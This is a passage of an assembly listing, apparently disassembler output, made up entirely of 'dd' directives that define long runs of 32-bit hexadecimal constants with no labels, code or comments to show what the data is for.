		dd 20E1E114h, 26429C42h, 0D1258984h, 0C964125Ch, 45F9B3B8h
		dd 4C7371D8h, 92C090C0h, 0EAF49E0Ch, 4A17C200h,	1D58FE34h
		dd 7CA519ACh, 2A8FC0A3h, 85C07430h, 0B0A900D6h,	74574BBDh
		dd 7F01F658h, 4D411E05h, 5042E671h, 0A2720408h,	56171148h
		dd 87A41900h, 4D33ADDEh, 0CECFBF0Bh, 0D2EC02FAh, 93608248h
		dd 293862C5h, 9C844C08h, 0A2404010h, 0A301AF1Dh, 2BCEF056h
		dd 82DC480Ch, 906C5C7Bh, 84105A2Dh, 0C0EB15E7h,	54127F68h
		dd 0D831949Fh, 0A5F8EC2Fh, 0AE0EDh, 166F7CF0h, 86C3837Fh
		dd 0B889D52Ah
		dd 0B459D229h, 2B49D78Fh, 55706971h, 62FBE511h,	489E05D4h
		dd 80EBF856h, 8D787022h, 6021D72Ch, 44109849h, 6E66385Ah
		dd 4F493D07h, 0D8C341ACh, 38C4799Ch, 0AAE91CBBh, 44FE2980h
		dd 2B68B8h, 70D4353Fh, 0C2BDDC87h, 0CC8F509Ch, 30C596B5h
		dd 20088E3h, 73AE4941h,	0A32E17FAh, 6F024447h, 0E67CFFC9h
		dd 0B11900CCh, 0A29DC7B4h, 6C0E94F3h, 89055BD0h, 14F804C1h
		dd 4F20948Dh, 5F511967h, 0F35BF9DCh, 0DF494Ch, 4709B1B0h
		dd 132F0BAAh, 427351EDh, 2DA06FA0h, 0D860C720h,	0DC2F3B15h
		dd 0F45AA705h, 0F08AC6h, 64A022FDh, 133EFCh, 8669D7Bh
		dd 99924341h, 5C909E17h, 1F1349Ch, 0A2662E62h, 498BA00Ah
		dd 0A231B9D4h, 0C3DD44DEh, 7E39C200h, 0A4FE6E60h, 0E28A027Bh
		dd 717D8858h, 0DA40685Eh, 1E1B324h, 81EE49BAh, 60B2FD53h
		dd 5CA12310h, 88381085h, 600C009Dh, 0FE50A404h,	5FE4F0D2h
		dd 0B4C49100h, 0E6C68D57h, 5CD52281h, 1A6F842Ch, 101DD316h
		dd 0EE11E1h, 6B53392Dh,	0F9A7C6h, 94081AC5h, 4181BDFAh
		dd 0DDA88507h, 1004DF83h, 22FF88D2h, 5CC5FCD9h,	39D37E80h
		dd 24E96D45h, 3DCCB918h, 0A1EE8644h, 0A37F29C0h, 7087DD7Ah
		dd 0DA9C240Bh, 272F11F4h, 0ED5810BEh, 0D1800570h, 0A2BB166Ah
		dd 44CA0390h, 0C9EE010Ch, 1E7097B7h, 0AC1B00BBh, 6F9CA35Ah
		dd 375D56BEh, 287F0158h, 5B7B96C8h, 7B1029h, 7C0F972Dh
		dd 2CF0507Eh, 384DA52Eh, 38B23492h, 371B8322h, 0C0C159EDh
		dd 4ADC1A9h, 29356893h,	650C819Fh, 215301DBh, 44581C63h
		dd 1728E500h, 1A719A43h, 643E4CB8h, 0DC007035h,	0FF6DB37h
		dd 0A924E4C2h, 29D05950h, 7A7D000Eh, 5FEFE399h,	342EB905h
		dd 0ED6550E4h, 0ED1700C8h, 78C0703Fh, 0FB00A9ACh, 0D7A8BF7Bh
		dd 0B0167DF0h, 34AE95C4h, 6C83256h, 10D2E891h, 3D7AF3h
		dd 8C20FEBDh, 79D9A51Eh, 0E79BC003h, 9EA364Bh, 6876D2E9h
		dd 859C9C23h, 47434900h, 27DC0373h, 0AB8B00D7h,	393532BFh
		dd 6419373Bh, 0BE309D7Eh, 698B703Ch, 11538300h,	0F900CA68h
		dd 0BC918092h, 1D1C9F72h, 0C12A839Ah, 1535EB7Ch, 0C8B44819h
		dd 0BCC9197h, 0CC6AD8h,	0C7495A07h, 32EDE243h, 0B233D51Eh
		dd 95E5013Fh, 5A9AD78Ch, 19075462h, 0C38ABFEBh,	9EC0567Fh
		dd 0F2FE7293h, 642A330Eh, 5CB0C169h, 0D06051D6h, 9359400Dh
		dd 7F9AB83Ah, 5EC75648h, 0DDD70C21h, 16847B08h,	90F380FDh
		dd 0A5784168h, 370DB500h, 0E4FF1E09h, 0B84D7615h, 0D4D25098h
		dd 417096D5h, 0F1B5C151h, 58203A40h, 123DA2DBh,	1FD7819Dh
		dd 793E22CCh, 3317145Fh, 37EB80E8h, 2E45A674h, 155301Ah
		dd 986742E6h, 22D3FCADh, 3FE0C353h, 8E383A05h, 0E0D45CAEh
		dd 3D529386h, 5F210382h, 889AF7BCh, 807CD952h, 8217FE10h
		dd 58D60445h, 91B55B83h, 0D4B88C10h, 0C5C07C6h,	0C3728D0h
		dd 4B036B0h, 819AAD39h,	0FD99A233h, 0E8749854h,	1EB0A10Bh
		dd 3862448h, 0C06F0E97h, 890223FBh, 98467DBEh, 478CE18Bh
		dd 0D18602CAh, 849610DAh, 24CC3A40h, 49A80BE2h,	680CB186h
		dd 590A02AAh, 0E85B260Eh, 5FA51860h, 76BF0036h,	969B2F66h
		dd 1E0044CBh, 1402A2B5h, 9C215B82h, 209C167Ch, 5D768614h
		dd 7F7ED500h, 3529E74Bh, 9F74F5h, 61929CADh, 0DD011BE2h
		dd 0A186AC20h, 0E9806C18h, 2EA7DC37h, 51CE8E9Ch, 8053A907h
		dd 226D4E9Ah, 1AC7719h,	11FA326Fh, 0DC2F7975h, 7D0EBC29h
		dd 40C8454Bh, 2DA6A88Ch, 0C960BA3h, 48228DE7h, 2460D7FDh
		dd 4896972Eh, 0BD28C0EBh, 0C0A41AAEh, 2C879117h, 28C00B56h
		dd 1F1C55E6h, 0AD15A382h, 0C07A2E60h, 440C3162h, 80425C60h
		dd 437F80DFh, 0E61EFAC4h, 8ED13607h, 844F02A3h,	6CE48772h
		dd 0BE243E5Eh, 0C4E14225h, 0AC3C0DD7h, 0C227E5C4h, 0DD115364h
		dd 0DE4D9510h, 4B8A1F00h, 487FAD5Dh, 5645029Bh,	0ABE53812h
		dd 1101FCAFh, 3E5FED31h, 3072BC41h, 8C4525BBh, 0E033A489h
		dd 0BC143200h, 0AE1ED224h, 457FDA00h, 0D9A3E413h, 253AE3F8h
		dd 0E78C306Ch, 5C58D26Dh, 7AA4D02Ch, 23EF3400h,	323A1B05h
		dd 0E035548Eh, 0C418B529h, 0E6009B2Eh, 0F1F5158Ch, 721225F3h
		dd 23750437h, 0E8A3B9BBh, 5A68801Ch, 73AAAB4h, 1D180C67h
		dd 0BAE930C9h, 0CF58BE7Ch, 1C274A29h, 599BDEA0h, 0AF390741h
		dd 0E0A2311Fh, 4D53909Dh, 1395813Ah, 54B2F65Ah,	9D0D729h
		dd 81FD365Ch, 0F134DAFFh, 0FC01D463h, 394BB50Dh, 594220F5h
		dd 0C9F800Eh, 32C3078Eh, 0DBC06250h, 9CC24A5Bh,	0A9007FE0h
		dd 769D5550h, 554FD5A0h, 4DEB077h, 0FD5521ABh, 9CC04C57h
		dd 1C4A9D42h, 0CE458C7Eh, 11C9507Dh, 0E207746Ch, 0D8879D7Ch
		dd 29F0C41Bh, 1290C347h, 3DD0E25Ah, 78F5805Ch, 0BBBF1545h
		dd 24100A1h, 0F8FB2EC6h, 0F12D1953h, 36A0107Fh,	0D61B00C2h
		dd 89F27413h, 9FE2F42Ch, 0F36ECF00h, 47B63310h,	0BA010006h
		dd 9E3AAED2h, 0C8A424D1h, 0AF003777h, 2C02B942h, 13BB453Bh
		dd 0F4FDC0B6h, 0EB443188h, 2C41004Bh, 0C3699387h, 0A400531Dh
		dd 7EDDF89Bh, 558F698h,	0F4ADBA17h, 0D69423A7h,	13DD8C00h
		dd 0BF57F7DBh, 0A3722E91h, 0C2510874h, 0D7897D80h, 3C8AA2ADh
		dd 0B91287FAh, 158804E2h, 0F014CD55h, 0AC00D3D7h, 24E02CA2h
		dd 421428h, 0C7FE06CDh,	0BB326C2Dh, 0F8D8224Eh,	0F9748657h
		dd 247E1188h, 40B89D78h, 0C657BB8Fh, 8BEE1700h,	23F1F31Dh
		dd 0CF2A05BDh, 8C1987EBh, 0C327A9B4h, 0C04044B5h, 0BC26D15Ah
		dd 2B986821h, 37394F07h, 61B2E35Fh, 0BDF451FBh,	9C3BDF84h
		dd 0D134C27Ah, 0A2F80913h, 0D4F159EFh, 0D21F4824h, 3330112Fh
		dd 0FD00AC29h, 51524401h, 410E5FE3h, 207E15ADh,	0AB405A2Eh
		dd 22A409B4h, 18D984BCh, 0E865CF03h, 0ABD4A853h, 0CE8C0DD1h
		dd 0EC712021h, 0F902DB2Dh, 0DD30DEBAh, 4054DC28h, 8E866740h
		dd 0EB13B7F6h, 0D8E25D94h, 0AE4B5300h, 6B0DCC01h, 3D3A8D00h
		dd 0D1BBFC43h, 10910704h, 497CB2D5h, 280900F0h,	0FA505388h
		dd 2BE7AB0h, 0FCA37F54h, 0CDE4DDCh, 0AB30F791h,	0D188FEF4h
		dd 644E49ECh, 9A6387EBh, 706427E4h, 4A0F3500h, 0B71BF3FCh
		dd 8A9F22F1h, 0EB674F00h, 3A782BC4h, 5F4007Ah, 0D010C79Ch
		dd 7724D475h, 0B5048F0Ch, 3884DF61h, 4F8708A8h,	3347A0E3h
		dd 26006906h, 0A5A63682h, 4D6D13Dh, 0BB2C9884h,	3874CC28h
		dd 0C3E65007h, 0F6A0E47Ah, 17564B51h, 94E2903Ch, 9EA03050h
		dd 8001329h, 3915B1B2h,	7562BECh, 112545D4h, 14F5226Bh
		dd 1198DC41h, 302F7988h, 3AF17B6Ch, 0D59FD402h,	0DE4236E3h
		dd 0B62AE2FCh, 6C525302h, 2812BD64h, 0B5BE6C81h, 99787984h
		dd 3009FF11h, 0FD5AD79Ah, 0E420A817h, 1FD40F09h, 739250h
		dd 892952FDh, 0F912D6E6h, 0E000BB5Fh, 0B56B8A6h, 5B90BC38h
		dd 0A1D69011h, 0EA2E16h, 0CB065650h, 0E09E43E3h, 82336E02h
		dd 873C81D5h, 226FFAD9h, 68DC5A7Ch, 0D086DC62h,	0A4E92248h
		dd 0DE878816h, 25803CA2h, 7863A857h, 0F70E49F8h, 80289C0Fh
		dd 0E7A0F01Ch, 3ED60E1Dh, 4F30D5Fh, 199613DCh, 5C085280h
		dd 9EC23899h, 3F405AF3h, 740036DDh, 26C51F05h, 157A338Eh
		dd 626EFFEh, 0E10143D3h, 0FFFBC0F5h, 0CCC0B82Dh, 0F6378538h
		dd 1304C6E6h, 0EA57A504h, 944898A8h, 46534A0Ah,	0B5A70BE8h
		dd 5FCAEC63h, 2E510706h, 394DDE6h, 86C1B785h, 0A0E4E8DDh
		dd 175D4AFh, 61291BF1h
		dd 0FCCF79F7h, 0B11D0615h, 5745BF5Ch, 0BF845EFFh, 7B808804h
		dd 25C87824h, 4CC9A783h, 0D3221F94h, 7FD442FAh,	0F8A67177h
		dd 0E4203179h, 7E10FCC5h, 73110919h, 0F450DC35h, 9886DE03h
		dd 4E3DDA87h, 0A1548829h, 79CD8300h, 0EF7803B4h, 9D989CFFh
		dd 40C06686h, 71EB5B5Ch, 372E800h, 0B5487C42h, 8CFB2AE6h
		dd 0D8770388h, 0C9479D99h, 0A3222DE0h, 786D0500h, 4BC4043Dh
		dd 1CF891Eh, 6F00954Eh,	0D8503E17h, 0DB5D92C0h,	80C9C3F0h
		dd 7C2FD8D0h, 98AA178Ch, 2A14886Eh, 17EE288h, 13F2284Dh
		dd 20B638BBh, 0A11E198Ch, 3D58B0h, 0ED1FC65Fh, 0A8942A5Ah
		dd 1E717B8h, 5057A352h,	3D98B15Ch, 0A0358EF8h, 0D8B4E710h
		dd 236C00F7h, 0DA6D8AB6h, 0BC0BF547h, 481EF35h,	0B8E962B2h
		dd 80DF5910h, 642E1114h, 0A690CB35h, 0FFD4AC98h, 2473B200h
		dd 8728EED8h, 994305B9h, 0A45B8FE6h, 0A5E855E0h, 0C5D89Fh
		dd 0DDA9D539h, 0B558C791h, 180D5C01h, 0E824D234h, 519C318Ch
		dd 0EF0B5B61h, 0E8A1C7CBh, 2C487FC8h, 1734B4A5h, 0A040C238h
		dd 477CF0C4h, 0BB0CB01Eh, 0C290AA00h, 2FC9A902h, 0C31F976h
		dd 77D21006h, 8290966Dh, 9ECC41EDh, 4B0510h, 2CABD51Fh
		dd 54D878FAh, 12096700h, 0C4E56149h, 0C8285E7Ch, 84B6BB58h
		dd 5A03D941h, 0FB64312Bh, 81801755h, 0A9677D32h, 7C6933B8h
		dd 7355017Dh, 169F0C9Eh, 0B8EC20D9h, 0A30E0503h, 0E25BE430h
		dd 80848F94h, 0BCC149B9h, 5C51256Ah, 860068E4h,	34A296ABh
		dd 5B875DE7h, 88A48394h, 198C812Fh, 407F5B18h, 0EB743D10h
		dd 28008DDCh, 43FDD96Ah, 0C31517h, 9425D3E2h, 48AD85C5h
		dd 8C5F502Eh, 2078E84Dh, 4CC88DD6h, 38004080h, 25688992h
		dd 0B93D541h, 7F2B53CAh, 8E003CF1h, 83820901h, 0C99B18CEh
		dd 1A6650BEh, 88A4DB24h, 0D9270339h, 2DD80B15h,	0F0404C71h
		dd 7C40A249h, 0CE90146Fh, 53824483h, 5882DC56h,	4C7458FFh
		dd 4847CB51h, 0A1918028h, 0F24F86CAh, 486EC126h, 31526502h
		dd 5D0E434h, 3C7B0B2h, 9277C0C9h, 0BF005DC3h, 0A6C2DA2Ch
		dd 144EF776h, 3451EFD3h, 0C435EB00h, 5A6059D2h,	4282DC96h
		dd 0D4E4286Ch, 9F40830h, 0B9600826h, 8533Fh, 43E63C5Bh
		dd 0DCFAE50Eh, 0EBA474F9h, 30A6C898h, 86D15B07h, 0B889D5ADh
		dd 1D09994h, 0EFC65D7Eh, 709F2259h, 0B09EE15h, 9955E647h
		dd 5C288604h, 18BC838Ah, 55E5615Bh, 0DC688C2Ch,	0C4383D00h
		dd 0C317B87h, 0D55B8454h, 1B0993D9h, 1495101Fh,	464938ECh
		dd 0F47E7A82h, 0CE49882h, 0B9EBDB22h, 81FE00BCh, 0FAB385F7h
		dd 0F6305900h, 2EE1F537h, 7DD702E6h, 7C882D46h,	10A368E9h
		dd 0B66A41D2h, 0A4C8A724h, 8800E8B8h, 7FFD329Dh, 145AEE0h
		dd 5255A772h, 48A4FE14h, 0E5FB84A8h, 8AC450F2h,	230D97Fh
		dd 9519C159h, 260787Bh,	27FCA328h, 467E737Fh, 0D3357000h
		dd 9838B81Ah, 46F00028h, 492847B5h, 450E7CC6h, 45D25F8Eh
		dd 94255B4Ch, 88C2948Ch, 0B8A417D9h, 3282E63Bh,	5E371157h
		dd 0F28E41D0h, 116B6024h, 0C6C0707Bh, 6BACDC1Ah, 98BC4C38h
		dd 7C00B63Fh, 7B833750h, 0B528B97Dh, 537BCC5Eh,	2D709F5Dh
		dd 84E428h, 0BA59F6DBh,	7ACE2BD2h, 8D76A37Ah, 0B23943Bh
		dd 0D88779FAh, 1059487Ch, 0DB98C9C0h, 0A400376Fh, 868B01DDh
		dd 0AB189B7Ch, 0E1D5B9C4h, 4088319Ch, 437CE038h, 0B502A6B7h
		dd 0D836FAA2h, 0B50D128h, 0A80ACB0h, 1FFC559h, 0CB314100h
		dd 1D07E135h, 0D0344B25h, 0A8E95A8Ch, 37D74800h, 62EC5CC0h
		dd 231A0003h, 6333AF22h, 0BB082CC7h, 29814F4h, 0DEE1646Ch
		dd 0B70150D1h, 37A347E9h, 0B5286429h, 519E24D8h, 0F6846048h
		dd 6200893Eh, 0C8ACFADAh, 6EDAA12h, 0FB1A4AFCh,	0B26619Eh
		dd 6660EC46h, 1304994h,	9A72F8B8h, 22CFAA55h, 0D4D624B4h
		dd 0E8958h, 0DE5C6FD4h,	0FD470F10h, 0D9CE5A04h,	88BC54F9h
		dd 2407B88h, 176F7C41h,	0E255ED2Eh, 21E033DCh, 355FE117h
		dd 966F1982h, 0C05AFB18h, 0E369BF02h, 5735E7B8h, 0F9900B61h
		dd 4A54784Fh, 0E233D420h, 7C8EAB6h, 239E75E6h, 0A39BA0ECh
		dd 43251902h, 585CC4C5h, 0FD2762E1h, 552204E4h,	803C992Bh
		dd 0DD5D95B7h, 0F000F20Bh, 9C92BEE0h, 2FD4D3Dh,	42CEC346h
		dd 54604C85h, 1453D9D6h, 0A9830F80h, 0C31A0218h, 8190C034h
		dd 24119584h, 0E974E8EBh, 388B3B1Fh, 96ECF444h,	0FA80E4A9h
		dd 83FD05FBh, 0BC6CFF0Eh, 0B7F0A066h, 0EA8A241Bh, 0E9192981h
		dd 746827D0h, 0D000FFE8h, 6A150D9Fh, 0EABB5F2Fh, 13BA0001h
		dd 0B238005h, 5A4E9D71h, 0E6281840h, 6E301ACh, 2C9E128Ch
		dd 0D72261CCh, 3EC98D9h, 0A96520AEh, 82D4D45Dh,	0A0DE1E8Ch
		dd 576F789h, 0D8DCDEE0h, 5A489655h, 9D801560h, 188020BCh
		dd 78D73A1Ah, 6B06007Bh, 4D52EA4Fh, 0F33BB145h,	28D90A2Ah
		dd 0FB89B4FCh, 80F45386h, 37D5D8C5h, 0AF00D380h, 4A3C17F0h
		dd 5884FA44h, 0DA0AADEBh, 0A5C4E6F3h, 0D3B000C0h, 9C2748B8h
		dd 46C4E8A1h, 42DD02D9h, 0D487711Eh, 0A300D0D9h, 7A8F1B4Ah
		dd 0F39E2238h, 67E7DF1Fh, 52BB00FEh, 8143B6E6h,	0CCC149D5h
		dd 0A25CD212h, 0C2E3801Ch, 0A0B828h, 4890DDB3h,	30AB7E4Eh
		dd 72D4F70Fh, 821E61FDh, 0F049EFDCh, 5C7100C7h,	8CD4CDF0h
		dd 0FD01FECAh, 5D9872B3h, 884C9508h, 151A0024h,	0D33E69AEh
		dd 66008C65h, 554EA1B1h, 260C491h, 4BBE88E3h, 0F8569F54h
		dd 0AB019440h, 103C007Ch, 0C4D87F04h, 0BF019A96h, 64282CC8h
		dd 27E8447Ah, 0ECD258A3h, 6DD5E180h, 3245DA82h,	8C2E77F9h
		dd 0F00056E4h, 0A248EA16h, 2C3904FDh, 3C68E41Fh, 7F55B589h
		dd 0E0030C59h, 0C072601Ch, 7389A1h, 872FC4ABh, 51CBBE1Ah
		dd 9E59380Eh, 0D6940007h, 9519826Ch, 0BB287CECh, 0E112F454h
		dd 90E708FBh, 669CDC00h, 0D8FA05F2h, 9AF31601h,	0CC9F63D3h
		dd 9CF8077Ah, 21D64075h, 8E12A26Ah, 6420F446h, 990C49Fh
		dd 0E05C33B9h, 0A8C6D4A9h, 67323707h, 781394ABh, 1CC2F007h
		dd 49391F9Eh, 1ABB413Ch, 0D4482E41h, 9BB527A8h,	0B3E9B83Ch
		dd 113C001Eh, 4D12AF39h, 0D89209C4h, 0E58544h, 180A4446h
		dd 8A1936D9h, 0F3F1E400h, 0A8D3615Dh, 874704FCh, 0ABEFAF11h
		dd 1C169430h, 0FED92FA0h, 47BEA020h, 8E007223h,	0D18CA3CDh
		dd 5E86C01Ah, 39C4CCDEh, 40302F4Ah, 4B5BFB8h, 2A8279E7h
		dd 8018BC3Eh, 0EEE42943h, 0CF95006Bh, 1D8C71Ch,	0EA0225F5h
		dd 0AA2A10B2h, 8764C14Ch, 4C64C84Ch, 94007760h,	0F4270B02h
		dd 0B0099E1Dh, 8443E96Ah, 0E2455BACh, 284309Bh,	6006825h
		dd 0E4CFE09Ah, 3CB1163h, 4A605A5Fh, 9EB84E1Eh, 5491FCC0h
		dd 3D92F82h, 62987953h,	0D7205F01h, 2E166EF3h, 0C2788218h
		dd 0B8E17EE2h, 80F8148Ah, 0E95FF980h, 581F2FC7h, 7BC56709h
		dd 78B99A74h, 0C2AF44C5h, 8CD983E4h, 0A2E8003Dh, 0BD48E929h
		dd 0C918EE33h, 0BC7AFC90h, 14575327h, 7BE300A0h, 15705D9Eh
		dd 0CA25DE37h, 9F88CE41h, 942FC030h, 5006C014h,	69598880h
		dd 0CA3FAC51h, 401820E4h, 7D2C88A4h, 0D1606079h, 3DCC463Eh
		dd 3D047123h, 0AC84EF82h, 99D6044Ch, 0C486115Eh, 53801318h
		dd 21E4E25Fh, 6E106015h, 2100A891h, 0AD409CCEh,	0B0CB5189h
		dd 1D9F0F3Ch, 0FF6EE0F3h, 56E920E2h, 0F6830C5Ch, 0B8B12D5Fh
		dd 781E82A3h, 0C97262D1h, 0B041AA37h, 39002C02h, 1CB64A50h
		dd 79CE9900h, 7D7666C5h
		dd 46B8DE01h, 0EA17FB1Bh, 3C000473h, 0AECFABCh,	4B50839Bh
		dd 4F72E1B5h, 26195602h, 40EB61F2h, 2D82BE84h, 3C389269h
		dd 6C0118D3h, 0AE99D137h, 9854B5D2h, 19F020BEh,	0B700BE23h
		dd 370F0DC2h, 1D62E71h,	513A4010h, 7CE814E7h, 188918h
		dd 12ECC5A2h, 387A7045h, 3080F3B3h, 540C6971h, 99B740D2h
		dd 960C5F54h, 59D22B14h, 7C305A10h, 979FA37Fh, 0D5E6E8C8h
		dd 37124C9Eh, 8580DCh, 0CB39FB16h, 5B01D2FDh, 2B6D13Fh
		dd 0F4B79DDAh, 0B6C8D01Bh, 0A0004E4Ch, 628B9054h, 63090201h
		dd 949F5652h, 0E9802838h, 1C4008ADh, 34E6A100h,	58503CF1h
		dd 91422AD2h, 0E38F13C8h, 0C8FC121Fh, 450B8804h, 0B0DF5811h
		dd 2C5DE510h, 1D4884E9h, 803B2124h, 719843F3h, 96545B7Ch
		dd 0E0A69578h, 4B8BE30Dh, 1855F2C1h, 2F15844Ch,	0A8AF0DDEh
		dd 96C3AEE1h, 0E34C3049h, 0A0698113h, 8D381020h, 0A42A0363h
		dd 837D1D6Ch, 86966988h, 0F6BFCD00h, 0A3AB11ACh, 0B80202DBh
		dd 435B5379h, 2E017C5Ah, 18ED7CBCh, 0D02BDBE5h,	0D586DEB8h
		dd 0B0C3BB2Dh, 134F0260h, 304E434h, 89830DBCh, 0B820505Bh
		dd 70BBEB14h, 0D19B00B3h, 56B5C751h, 31227C81h,	0DB9207D6h
		dd 408729DAh, 64D4798Dh, 22D12F09h, 846004DCh, 0F459A0C2h
		dd 6A3E71A0h, 0A75C2C44h, 85E00852h, 0A48178A9h, 0EA58BCDAh
		dd 0F4F0DC28h, 0DA049402h, 0D29FFE0Bh, 0EC80B8FCh, 0E39AE14Bh
		dd 52536400h, 49CD2C88h, 19FB7D1Ch, 3075BB93h, 3702CA0Bh
		dd 6AD89134h, 1115DF0h,	9D30710Ch, 48C3A9D1h, 5526E184h
		dd 2D1C6449h, 0D0341481h, 607031AAh, 213716E6h,	0D5900222h
		dd 0D204C349h, 0E892A0ECh, 72FB80C0h, 0AC1E24Eh, 0CCCA64FCh
		dd 568160D4h, 0A5768385h, 7DD57005h, 20CD5829h,	0D345F4h
		dd 106F94Ch, 0C6976E89h, 0D19AFB1Eh, 0F4AD6180h, 5B5ED2F6h
		dd 0CDD4C87Ch, 9B234B1Eh, 0B5AE7D80h, 3A884F36h, 6C14DDE5h
		dd 0F7256CE4h, 6E4BB4C8h, 18098000h, 0F26DEE31h, 0BA2200EAh
		dd 21E172A9h, 98077050h, 7135734Ah, 5705C0B7h, 0D980ACE3h
		dd 0AC37DEF6h, 56A2B227h, 0C002550h, 0D122D294h, 59E6AE7Ch
		dd 6A089B1Fh, 7412F4D2h, 6FB898h, 4893D7ECh, 2AA78C91h
		dd 630045FAh, 274401F2h, 26994B28h, 2433FE34h, 466F602Ch
		dd 621F6D02h, 4C2EAFBh,	594956D4h, 69BE80B8h, 51B99AB0h
		dd 36D1C007h, 0C4B97C49h, 92A00020h, 0FC111F7Fh, 3700558Ch
		dd 435D3612h, 0F75F0B4h, 5E7980D7h, 58987C29h, 8700FBBEh
		dd 352C6ECEh, 42AE4FFh,	0D268D47Ah, 0D224ACDFh,	6D001AFCh
		dd 0C646AB1Fh, 5725263Fh, 0E98D828h, 83F8D9DEh,	655E2F91h
		dd 6D373C5Ch, 0F050E060h, 0C35ACC85h, 101C0891h, 0A07C46F1h
		dd 6263F980h, 0A00E747Ah, 0CF31FCh, 6AEE1D11h, 0F92300D4h
		dd 6C49BE37h, 5C265D53h, 0F70B1DA8h, 235800CAh,	0EBE94C3h
		dd 7D57F144h, 1DB94300h, 490462BFh, 9250847Eh, 0DE9378D2h
		dd 0B5B905CCh, 1028C844h, 18F3A62Ch, 70865D60h,	0F1701Ah
		dd 0A8073A27h, 7E734C0Ch, 0ECF4400Dh, 8C635094h, 0F3B45201h
		dd 0BE3B29DBh, 0CA2AB876h, 43D1BCC1h, 0D5846066h, 3C33AF8Eh
		dd 0D8FFE0E1h, 7618027Dh, 73CF2428h, 2C4034FEh,	97FA57EDh
		dd 7102FC96h, 0F3D13549h, 780525Ah, 55F0203Ch, 44803F1Fh
		dd 6C821815h, 0EC4697h,	0BFE1461Dh, 18F29577h, 6E12BA00h
		dd 9E431B4Dh, 5CC4885Eh, 0BDD65A17h, 64A2D016h,	0A901CC00h
		dd 6C69782Eh, 0A01FF916h, 1A99ED04h, 1B5088Ch, 607F7D24h
		dd 0F8D501BDh, 64F8C8Bh, 114AE40Fh, 61D4884Eh, 4E9238h
		dd 0EE0C26C6h, 122F465Ch, 1F0F91BAh, 53BF80F3h,	458B1766h
		dd 9C5B512Ch, 9420F71Dh, 7D83610Ch, 80A47879h, 8BED449Ah
		dd 54210165h, 0C10B416h, 4C82B50h, 106F60Eh, 1E2D1D9Ch
		dd 0C82F3DB2h, 8F00C008h, 67507FCEh, 4A8E6A0Fh,	80105F9Dh
		dd 1C5C1F7Ch, 0BD00931Ah, 6443B9E0h, 218EA11h, 0A2A4E3ECh
		dd 905DA99Fh, 0B18F51D0h, 0AC6B4B4Ch, 42806EFBh, 0F4069082h
		dd 0FE5FEFD7h, 6784BC29h, 58D85BE5h, 408A5A74h,	461D168h
		dd 0F4B5A874h, 368A489h, 48BE5B44h, 0E04B182Ah,	0ED223868h
		dd 0A061955Dh, 42387045h, 99CE049h, 7E6C18D1h, 0F1D74070h
		dd 0B974C9ADh, 0F27592EEh, 0D97FA4A8h, 7C15CE01h, 0D06DAD43h
		dd 5F65E470h, 0EB3088D7h, 84ECB21Eh, 8E07A457h,	0C5C5368Fh
		dd 84B4D853h, 0F82284E5h, 0FBE21355h, 10C84596h, 6DD888A0h
		dd 1A225B00h, 577C0F0h,	0A3921EDEh, 6945C271h, 0E0E8BDC1h
		dd 86EECBE1h, 0C259DC16h, 1FD4898h, 8EE6B0F8h, 2BA3E073h
		dd 9932C8Ch, 3FD87714h,	70E79041h, 792E8A4Ch, 7AC4E887h
		dd 8F887038h, 342F9531h, 0C816488Bh, 750E5707h,	3BC1EFC7h
		dd 0F472A33Dh, 2FB0884Ah, 7BD00B07h, 0D8E16E2Ch, 57708363h
		dd 0B5BA024Fh, 42EEC4E0h, 8B67066h, 1780D165h, 0D47094h
		dd 0EE1EFBCDh, 9B5679F0h, 0DCAF117h, 7D9CB020h,	3091005Ah
		dd 5D1AE37h, 0B548E1EFh, 0B638017Bh, 121F185Ch,	0E0D5F443h
		dd 329CA261h, 0BEB084E4h, 2E3024E6h, 80B086D1h,	40F81E13h
		dd 527C5689h, 90F8A028h, 0A0E6DE40h, 1158889Ch,	1EA25FD2h
		dd 0F325D386h, 0FBB38098h, 46C73D23h, 441C8402h, 827E959Ch
		dd 7729C6D0h, 3401D40Bh, 337F5739h, 65A900B4h, 0C924F896h
		dd 9B400C3h, 0A26E83C1h, 9D019BC2h, 449EDB1Ah, 0D064B5DCh
		dd 0A5544B53h, 80003CACh, 0A899EE89h, 0CF8B0060h, 15965A24h
		dd 2AEB9F46h, 994598C8h, 0D04E3E84h, 63690714h,	7C546E00h
		dd 255A4419h, 22C49010h, 0D93EC05Ch, 0CCD4A14h,	6054C8A6h
		dd 0B728824h, 0F3A93F00h, 0F25D173Dh, 41DB186Bh, 7EE2B92Fh
		dd 0C1AC284Ch, 63BC1C0Fh, 3A2ADCh, 0DABEB808h, 0CA470D5Ah
		dd 0EB929F04h, 0F4F49D64h, 0CA77281h, 333C89F7h, 0DC0314EAh
		dd 449B5ECh, 61CCE220h,	9C296A5Ch, 55B84DC0h, 9201DCD3h
		dd 8FE4621h, 34E430A2h,	0A53E172Bh, 28904905h, 980E74C4h
		dd 409A6F9Fh, 0D238DCA9h, 195802B6h, 34D8A8A1h,	8F3AF050h
		dd 0F0A42777h, 8DD52EBCh, 40DD6478h, 0D138F99Ah, 17A1009Fh
		dd 86C5EFBDh, 109CE2D5h, 97F4EEh, 3D167AD8h, 0E1F2A5Fh
		dd 0E57BDA98h, 88561B89h, 1C3D6F40h, 712C09EEh,	30FA5AA4h
		dd 0B1B876F4h, 661FB31Ch, 35D1987h, 0B5D0E421h,	54625D61h
		dd 0D989D449h, 0E617F8E4h, 54521046h, 0EDE034BCh, 0E000D23Eh
		dd 0F5B90EA7h, 2B2A9DDh, 0A4556F05h, 471E817h, 0D0ED370Ah
		dd 0A8F28213h, 27E37178h, 2CE0D55Fh, 45000441h,	0DE157CC4h
		dd 60A7FBE6h, 380B8090h, 0C07D9BE7h, 70DC834Fh,	54FAACh
		dd 74EA19E4h, 88265B21h, 8046783Ah, 730950A1h, 5261D72Bh
		dd 74001CFBh, 0BE8979E1h, 0F700C59Fh, 15D6B40h,	28AAACBh
		dd 487DC44Dh, 88DE28D5h, 0C0099E13h, 0E0DCFC53h, 0ED298FB1h
		dd 0B31B55Ch, 0F8747F7Eh, 0E7087C94h, 0BA29420h, 0BA4582E6h
		dd 98B51802h, 8BC3D000h, 1BD7E84h, 69261E28h, 0D8BB0B7Ch
		dd 933B2C54h, 4C204A44h, 48479Bh, 9F684C9Dh, 4E46B718h
		dd 0CD32CF0Bh, 61738BBAh, 0C1D2CE18h, 8C73C090h, 67414F00h
		dd 0E338E198h, 0F186271Dh, 5C01AAC3h, 0D22FD0CDh, 0F32D4A42h
		dd 0A00D0874h, 1D418251h, 2CE34836h, 0D28B301Eh, 245B5588h
